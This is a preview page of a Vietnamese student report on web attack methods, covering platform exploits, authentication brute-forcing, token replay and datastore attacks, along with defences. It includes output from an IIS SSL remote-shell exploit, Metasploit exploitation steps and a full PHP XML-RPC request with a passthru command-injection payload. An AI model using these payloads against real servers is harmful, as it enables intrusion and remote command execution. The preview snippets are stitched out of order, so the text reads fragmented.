Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 68 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
68
Dung lượng
3,82 MB
Nội dung
Nghiên cứu một số phương pháp tấn công Web NGHIÊN CỨU MỘT SỐ PHƯƠNG PHÁP TẤN CÔNG WEB SINH VIÊN THỰC HIỆN: Nghiên cứu một số phương pháp tấn công Web Mục Lục LỜI DẪN Hacking những ứng dụng Web cũng giống như một thủ thuật kì diệu. Nếu bạn biết những kĩ thuật đúng và thực hành bạn có thể đột nhập vào bất kì ngân hàng trực tuyến nào hoặc các công ty tín dụng, các công ty chứng khóan. Với những phương pháp tấn công đơn giản bạn có thể xác định được hệ điều hành, ngôn ngữ lập trình, phiên bản máy chủ và thậm chí bạn có thể xác định được lỗ hổng bảo mật của trang Web đó chỉ cần dựa vào URL. Hầu hết những công ty đều rất lo ngại về việc cơ sở dữ liệu của mình có thể bị mất cắp và cũng từ chính những điều này mà công việc làm ăn kinh doanh của họ có thể sụp đổ bất cứ lúc nào. Tuy nhiên việc bảo mật các ứng dụng Web thường rất kém và các chuyên gia Nghiên cứu một số phương pháp tấn công Web cũng nhận định rằng chính bản thân họ cũng sợ những lỗ hổng bảo mật trên Web vì hiện tại khả năng của các attacker đang rất mạnh, và lòng tham của họ cũng lớn. Hàng ngày họ phải tìm kiếm để ăn cắp những thẻ tín dụng ngân hàng, số an sinh xã hội, tài khỏan ngân hàng hoặc bất cứ điều gì mà họ có thể lấy cắp được….Với những attacker ác ý chúng có thể sẵn sàng đe dọa và tống tiền các doanh nghiệp. Với những hoạt động xâm nhập như vậy sự thiệt hại sẽ là rất lớn ví dụ như: Tiền phạt, lòng tin khách hàng, thời gian chết, thiệt hại thương hiệu, trách nhiệm pháp lý….Cho nên vấn đề tìm hiểu những phương pháp tấn công Web đồng thời phòng chống các phương pháp đó là điều rất cần thiết cho mỗi doanh nghiệp. Tài liệu dưới đây chúng em xin đề cập những phương pháp từ tấn công đến phức tạp, những phương pháp được thực hiện bằng tay cũng như sử dụng các tool tự động đồng thời đưa ra các cách phòng chống các phương pháp này. Nghiên cứu một số phương pháp tấn công Web 2010 CHƯƠNG I: ĐỘNG LỰC TẤN CÔNG WEB Chủ nghĩa khủng bố toàn cầu đang ngày một phổ biến và nguy hiểm. Chúng sử dụng mọi phương tiện có thể để gieo rắc nỗi sợ hãi. Đặc biệt trong thế giới hiện đại, tin học đã trở thành một chiến trường và phương tiện đắc lực của chúng. Bọn khủng bố sử dụng tin học để tấn công gây rối loạn các mạng lưới điều hành nhà nước, đánh cắp thông tin quan trọng, tuyển dụng và tuyên truyền tư tưởng kích động. Việc đánh cắp những thông tin này có thể mang lại cho các attacker đó một lượng tiền khá lớn. Nhưng đôi khi có những mục đích tấn công không phải vì tiền mà chỉ vì sự thù ghét nhau hoặc chỉ là một sự tò mò của những người mới học nghề. Kể từ cuối năm ngoái, tin tặc xem chừng như ngày càng ráo riết phá họai và tấn công những trang web thu hút rất đông người tham gia ở trong lẫn ngoài nước. Các trang mạng nổi tiếng và ăn khách hoặc những trang web của các công ty tín dụng, ngân hàng là những mục tiêu bị tin tặc đặc biệt nhắm tới bằng những phương cách tấn công mà nhiều chuyên gia cáo giác là những thủ đọan “bỉ ổi”, “đê tiện” “ném đá nhưng không dấu được tay”. Nói chung hình thức tấn công của tin tặc bao gồm việc đánh sập websites, trộm cắp, ngụy tạo tài liệu, chiếm đoạt hộp thư điện tử, mạo danh, tung tin giả, bôi nhọ, ly gián. Mặt khác những thành viên sáng lập website chống đỡ rất nhiều cuộc tấn công không đủ sức để bảo vệ website hoạt động bình thường. Mặt khác tại các trang Web vấn đề bảo mật rất kém, chúng thường không có các công cụ như IDS/IPS, IDA (thiết bị lọc nội dung), Firewall….để bảo vệ cho nên việc tấn công các trang Web thường có tỉ lệ phần trăm rất cao. Cho nên các attacker từ những chuyên gia cho đến những newbie có thể tấn công Web mà không cần trình độ cao, họ chỉ cần một vài công cụ là đã có thể thực hiện thành công một cuộc tấn công Web. Vì vậy việc tấn công Web ngày nay được giới attacker ưa chuộng hơn bất cứ một cuộc tấn công nào khác. Nghiên cứu một số phương pháp tấn công Web CHƯƠNG II: TẤN CÔNG WEB PLATFORM 2.1 Tấn công Web platform Thành phần quan trọng nhất của ứng dụng web mà hacker sẽ tìm kiếm đầu tiên là các lỗi thuộc về web platform. Web platform bao gồm các thành phần thuộc về hệ điều hành và các ứng dụng logic như - Chương trình Web server như IIS hay Apache. - Thành phần mở rộng của web serber như ISAPI hay các mod của Apache. - Môi trường thực thi như ASP.NET, PHP và J2EE - Các dịch vụ người dùng như forum, portal Đã từ lâu, lỗi thuộc về chương trình web server là một trong những lỗi dễ dàng nhất để khai thác trên một website, nhưng càng về sau, các nhà phát triển chương trình web server càng chú trọng hơn tới vấn đề bảo mật bởi vì sản phẩm của họ đã bị tấn công khá nhiều trong quá khứ. IIS của Microsoft là một ví dụ cho trường hợp này. Mặc dù nhiều lỗi đã được tìm thấy và sửa chữa bởi Microsoft nhưng hàng ngày hacker trên toàn thế giới vẫn tìm ra các lỗi mới của ứng dụng này. Chương này sẽ đề cập đến một số hình thức khai lỗi như : - Khai thác Point-and-click - Khai thác thủ công 2.1.1 Khai thác Point-and-click Point-And-Click là cách khai thác sử dụng các công cụ và các kịch bản có sẵn để tấn công vào lỗ hổng. Metasploit Framework là một chương trình mã nguồn mở phục vụ cho việc phát triển, kiểm tra và thực hiện các đoạn code khai thác lỗ hổng. Mặc dù đã được cảnh báo rằng "chỉ sử dụng cho mục đích kiểm tra và nghiên cứu", nhưng Metasploit lại trở thành công cụ yêu thích của hacker vì tính đơn giản của nó. 5 Nghiên cứu một số phương pháp tấn công Web Metasploit hoạt động trên nhiều hệ điều hành Linux/Unix/Windown, nó cung cấp cách khai thác lỗ hổng dễ dàng cho nhiều loại lỗ hổng trong đó có cả web platform. Có một ứng dụng thương mại khác là CORE IMPACT được phát triển bởi Core Security Technologies hoặc CANVAS của Immunity. Như vậy người tấn công không cần có kiến thức sâu về lỗ hổng sắp khai thác mà vẫn có thể tấn công một cách hiện quả. Tất cả các kịch bản tấn công, code đều có thể tìm kiếm dễ dàng trên mạng internet. Để hiểu được cách thức thực hiện Point-and-click, hãy thử thực hiện một cuộc tấn công dựa trên lỗi "SSL PCT remote buffer overflow" hay còn được biết tới với tên gọi Microsoft Security Bulletin MS04-011. Ban đầu, hacker cần tìm đoạn code thực hiện việc tấn công vào lỗ hổng mà mình định trước. Ví dự sử dụng trang web milw0rm.com. Sau khi download được đoạn code cần thiết, ví dụ hacker đặt tên nó với tên gọi iisexploit.c. Hacker sẽ thực hiện biên dịch đoạn code này bằng các trình biên dịch phù hợp với ngôn ngữ của đoạn code. Sau khi biên dịch , hacker có một file với tên gọi iisexploit.exe, và kích hoạt file exe này lên sẽ nhận được như sau : C:\>iisexploit www.site.com myserver 8082 THCIISSLame v0.3 - IIS 5.0 SSL remote root exploit tested on Windows 2000 Server german/english SP4 by Johnny Cyberpunk (jcyberpunk@thc.org) [*] building buffer [*] connecting the target [*] exploit send [*] waiting for shell [*] Exploit successful ! Have fun ! Sau khi khai thác thành công, đoạn chương trình nhỏ trên sẽ trả về một shell cho hacker trên cổng 8082. Và đối với các hacker am hiểu về shell thì họ hoàn toàn có thể tạo shell cho riêng mình với nhiều chức năng khác nhau và chèn thêm vào đoạn code 6 Nghiên cứu một số phương pháp tấn công Web của file kịch bản đã download. Thật không may rằng hiện nay các shell này cũng được công bố và dễ dàng tìm kiếm trên mạng. Hãy thử một cách khác dễ dàng hơn với Metasploit : Sau khi khởi động Metasploit, ta có thể nhìn thấy danh sách của tất cả các lỗ hổng mà nó hỗ trợ như sau : Hình 2.1 Chọn mục Microsoft SSL PCT overflow exploit . Metasploit sẽ hiển thị một màn hình với đầy đủ các mục phục vụ cho việc khai thác. Trong hình dưới, ta sẽ chọn loại hệ điều hành mà ta chuẩn bị tấn công. 7 Nghiên cứu một số phương pháp tấn công Web Hình 2.2 8 Nghiên cứu một số phương pháp tấn công Web Sau khi chọn mục tiêu, Metasploit sẽ hiển thị màn hình tiếp theo để ta chọn payload sẽ gửi tới server. Đối với tấn công này, ta sẽ sử dụng một remote shell đơn giản. Sau đó chỉ cần click vào nút Exploit, ta sẽ nhận được kết quả : Hình 1.2 2.1.2 Khai thác thủ công Việc khai thác thủ công đòi hỏi người khai thác phải có kiến thức về lỗ hổng mà mình khai thác cũng như các giao thức, cấu hình xung quanh lỗ hổng đó. Hacker sử dụng các kiến thức của mình về hệ thống và lỗ hổng để từng bước nhận được các thông tin từ hệ thống thống qua lỗ hổng cũng như phục vụ cho các tần công khác sâu hơn. Một số ví dụ về tấn công thủ công : PEAR/PHP XML-RPC Code Execution PEAR/PHP XML-RPC được tìm ra vào năm 2005, cho phép thực hiện đoạn code thực thi từ xa trên server. Những ứng dụng như PostNude, Drupal hay TikiWiki đều vướng lỗi này vào thời gian đó. Lỗ hổng này được khai tác bẳng cách tận dụng một hàm trong bộ XML - eval() cho phép nhúng input của người dùng từ request XML Điều này cho phép hacker tạo ra một XML request đơn giản và nhùn một chuổi có khả năng vượt qua các tham số truyền của hàm eval(). Tấn công này cũng tương tự như SQL injection hay XSS. 9 Nghiên cứu một số phương pháp tấn công Web Trong ví dụ dưới đây sử dụng ứng dụng PhpAdsNew. PhpAdsNew sửa dụng file adxmlrpc.php để chấp nhận các request của web service. Trong trường hợp này adxmlrpc.php đóng vai trò như một gateway để khai thác XML-RPC. Tấn công được thực hiện bằng việc tạo một request tới server với header và phần data như sau : POST /phpAdsNew/adxmlrpc.php HTTP/1.0 Host: localhost Content-Type: application/xml User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Content-Length: 162 Connection: Close <?xml version="1.0"?><methodCall><methodName>junkname</ methodName><params><param><name>');passthru(dir);//</name><value>junk</ value></param></params></methodCall> Phần in đậm chính là phần câu lệnh sẽ chèn vào biến name để hiển thị danh sách thư mục trên hệ thống. Server sẽ trả về với nội dung như sau : HTTP/1.1 200 OK Connection: close Content-Type: text/html Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre- check=0 X-Powered-By: PHP/4.4.0 Server: Srv/4.0.0.4033 Volume in drive C has no label. Volume Serial Number is 98C0-5EE5 Directory of C:\Apache\docs\phpAdsNew 11/11/2005 12:11 PM <DIR> . 11/11/2005 12:11 PM <DIR> 01/13/2005 04:43 PM 6,166 adclick.php 10 [...]... viện tấn công ứng dụng web WebCracker là một công cụ cũ hơn Hydra, ứng dụng Window Base GUI giống như Hydra nhưng nó không cần nhiều kinh nghiệm như Hydra Nó là một công cụ rất tuyệt vời dành cho những người mới bắt đầu hoặc khi bạn muốn kiểm tra nhanh Ở hình phía dưới chỉ ra việc Web Cracker đã dò tìm thành công một số account ở URL đích 19 Nghiên cứu một số phương pháp tấn công Web Hình 3.1: WebCracker... các cuộc tấn công này, phương pháp này được khuyến cáo sử dụng cho tất cả các website sử dụng xác thực Basic và Digest 3.2 Bỏ qua việc xác thực: 3.2.1 Token Replay: Nó thường chỉ ra các phương pháp bảo mật token cho một vài người dùng đã xác thực thành công để họ không phải nhập lại thông tin khi sử dụng một ứng dụng khác Một 21 Nghiên cứu một số phương pháp tấn công Web tác dụng phụ của phương pháp xác... tay và bằng các phần mềm + Dò tìm password bằng tay: Tấn công dò tìm password có thể được thực hiện bằng tay hoặc thông qua các tool tự động Tấn công dò tìm password được thực hiện bằng tay là một kiểu tấn công rất nhạt nhẽo nhưng qua kiểu tấn công này ta lại thấy 17 Nghiên cứu một số phương pháp tấn công Web được vai trò của con người hơn là kiểu tấn công tự động, đặc biệt là khi lỗi phần tùy chỉnh của... có thể nói hệ thống này bị tấn công nghe trộm, hay còn gọi là kiểu tấn công sniffing Một cuộc tấn công phát lại thường được xây dựng trên những cuộc tấn công nghe trộm và bao gồm cả việc sử dụng những thông tin được bắt bởi kẻ tấn công giả mạo những người dùng hợp lệ Thật không may là một số giao thức xác thực phổ biến nhất đã làm lộ thông tin của web Hai phương pháp tấn công phổ biến nhất là Basic... hành việc tấn công xác thực Form-Basic nhưng nó lại không hiển thị password đã dò tìm được khi tiến hành tấn công Cách phòng tránh tấn công bằng username/password: 20 Nghiên cứu một số phương pháp tấn công Web Cách phòng tránh hiệu quả nhất tránh việc dò tìm mật khẩu đó là sự kết hợp giữa chính sách mật khẩu mạnh và chính sách khóa account mạnh Sau khi một số lượng nhỏ truy cập không thành công, các... gian, các đặc quyền truy nhập Tấn công Bit-flipping là cuộc tấn công thông qua kiểu tấn công brute force, nó thay đổi các bit cookie miễn là cookie có còn hợp lệ và có các quyền truy cập khác nhau 22 Nghiên cứu một số phương pháp tấn công Web 3.2.2 Phương pháp phòng tránh: - Sử dụng SSL: Nghe lén là cách dễ nhất để ăn cắp thẻ bảo mật như cookie Sử dụng SSL hoặc kết hợp với công nghệ bảo mật phiên khác... disable_function, expose_php, display_errors, safe_mode, allow_url_open 14 Nghiên cứu một số phương pháp tấn công Web CHƯƠNG III: TẤN CÔNG AUTHENTICATION Xác thực đóng một vai trò quan trọng trong vấn đề bảo mật Web Dưới đây chúng tôi sẽ giới thiệu về các mối đe dọa thông qua cơ chế xác thực để tấn công web 3.1 Username/password: Đây là cách xác thực web đơn giản nhất và thường được sử dụng ngày nay Mặc dù có rất... bảng danh sách này để thực hiện phương thức tấn công xác thực cơ bản Nó trả lời "HTTP 302 Oject Moved" để chỉ ra các cuộc dò tìm thành công và nó sẽ tìm kiếm tất cả các cuộc dò tìm thành công trong file username và password Ở phía dưới là ví dụ chỉ ra việc Hydra được sử 18 Nghiên cứu một số phương pháp tấn công Web dụng trên Window (qua thư viện Cygwin) để dò tìm thành công một mật khẩu HTTP Basic.Chúng... kiểu tấn công này, tuy nhiên bằng việc đánh giá các thông báo lỗi bạn cũng có thể xác định được các username này + Khóa Account: Để giảm thiểu nguy cơ của kiểu tấn công dò tìm password người ta đưa ra các ứng dụng để khóa account sau một số lần login bị lỗi Số lần login lỗi sẽ được quy định tùy thuộc vào chính sách bảo mật của ứng dụng, thông thường sẽ 16 Nghiên cứu một số phương pháp tấn công Web là... sử dụng trong đăng kí tài khoản Hotmail Hình 3.5: Một hình ảnh CAPCHAT trên CAPCHA.net Hình 3.6: Nhận biết kiểu CAPCHA (hình ảnh và text) 25 Nghiên cứu một số phương pháp tấn công Web CHƯƠNG IV: TẤN CÔNG DATASTORE 4.1 Attacking Web Datastores Ứng dựng web ngày một trở nên phổ biến và phát triển phức tạp Rất nhiều ứng dụng trên internet sử dụng ứng dụng web và đặc biệt là e-commerce Cùng vơi đó, sự tồn . Nghiên cứu một số phương pháp tấn công Web NGHIÊN CỨU MỘT SỐ PHƯƠNG PHÁP TẤN CÔNG WEB SINH VIÊN THỰC HIỆN: Nghiên cứu một số phương pháp tấn công Web Mục Lục LỜI DẪN Hacking. thành công một cuộc tấn công Web. Vì vậy việc tấn công Web ngày nay được giới attacker ưa chuộng hơn bất cứ một cuộc tấn công nào khác. Nghiên cứu một số phương pháp tấn công Web CHƯƠNG II: TẤN CÔNG. việc Web Cracker đã dò tìm thành công một số account ở URL đích. 19 Nghiên cứu một số phương pháp tấn công Web Hình 3.1: WebCracker đã dò tìm thành công username/password. Brutus là một công